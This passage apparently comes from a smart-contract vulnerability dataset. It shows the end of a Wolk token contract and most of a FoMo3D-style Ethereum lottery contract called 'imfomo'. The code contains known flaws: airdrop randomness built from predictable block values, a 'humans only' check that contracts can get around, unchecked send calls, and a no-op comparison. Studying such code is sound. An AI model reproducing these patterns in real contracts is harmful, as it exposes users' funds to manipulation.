require( (sellCap >= _wolkAmount) && (balances[msg.sender] >= _wolkAmount) && (this.balance > ethReceivable) );
balances[msg.sender] = safeSub(balances[msg.sender], _wolkAmount);
totalTokens = safeSub(totalTokens, _wolkAmount);
reserveBalance = safeSub(this.balance, ethReceivable);
WolkDestroyed(msg.sender, _wolkAmount);
msg.sender.transfer(ethReceivable);
return ethReceivable;
}
function purchaseWolk() isTransferable() payable external returns(uint256){
uint256 wolkReceivable = calculatePurchaseReturn(totalTokens, reserveBalance, percentageETHReserve, msg.value);
totalTokens = safeAdd(totalTokens, wolkReceivable);
balances[msg.sender] = safeAdd(balances[msg.sender], wolkReceivable);
reserveBalance = safeAdd(reserveBalance, msg.value);
WolkCreated(msg.sender, wolkReceivable);
return wolkReceivable;
}
function purchaseExactWolk(uint256 _exactWolk) isTransferable() payable external returns(uint256){
uint256 wolkReceivable = calculatePurchaseReturn(totalTokens, reserveBalance, percentageETHReserve, msg.value);
if (wolkReceivable < _exactWolk){
revert();
return msg.value;
}else {
var wolkDiff = safeSub(wolkReceivable, _exactWolk);
uint256 ethRefundable = 0;
if (wolkDiff < 10**decimals){
totalTokens = safeAdd(totalTokens, wolkReceivable);
balances[msg.sender] = safeAdd(balances[msg.sender], wolkReceivable);
reserveBalance = safeAdd(reserveBalance, msg.value);
WolkCreated(msg.sender, wolkReceivable);
return 0;
}else{
ethRefundable = calculateSaleReturn( safeAdd(totalTokens, wolkReceivable) , safeAdd(reserveBalance, msg.value), percentageETHReserve, wolkDiff);
totalTokens = safeAdd(totalTokens, _exactWolk);
balances[msg.sender] = safeAdd(balances[msg.sender], _exactWolk);
reserveBalance = safeAdd(reserveBalance, safeSub(msg.value, ethRefundable));
WolkCreated(msg.sender, _exactWolk);
msg.sender.transfer(ethRefundable);
return ethRefundable;
}
}
}
} | 0 | 475 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents { }
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x40fb95f01d3fa718996107d5bfad0bebd9e8b874);
string constant public name = "imfomo Long Official";
string constant public symbol = "imfomo";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 12 hours;
uint256 constant private rndInc_ = 60 seconds;
uint256 constant private rndMax_ = 12 hours;
address constant private reward = 0x6b9E7c45622832A12f728cA87e23FA3A6B512fE2;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(31,0);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(61,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(15,0);
potSplit_[1] = F3Ddatasets.PotSplit(15,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,0);
potSplit_[3] = F3Ddatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_p3d = _p3d.add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
reward.send(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add(_com);
uint256 _long = _eth / 100;
otherF3D_.send(_long);
uint256 _aff;
uint256 _aff2;
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != 0 && plyr_[_affID2].name != "") {
_aff = _eth.mul(10) / 100;
_aff2 = _eth.mul(5) / 100;
plyr_[_affID2].aff = _aff2.add(plyr_[_affID2].aff);
} else {
_aff = _eth.mul(15) / 100;
}
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
reward.send(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(19)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xdbEB69c655b666b3E17b8061dF7EA4cc2399Df11 ||
msg.sender == 0x6b9E7c45622832A12f728cA87e23FA3A6B512fE2 ||
msg.sender == 0x3D3B33b8F50AB9e8F5a9Ff369853F0e638450aDB,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0xdbEB69c655b666b3E17b8061dF7EA4cc2399Df11 ||
msg.sender == 0x6b9E7c45622832A12f728cA87e23FA3A6B512fE2 ||
msg.sender == 0x3D3B33b8F50AB9e8F5a9Ff369853F0e638450aDB,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
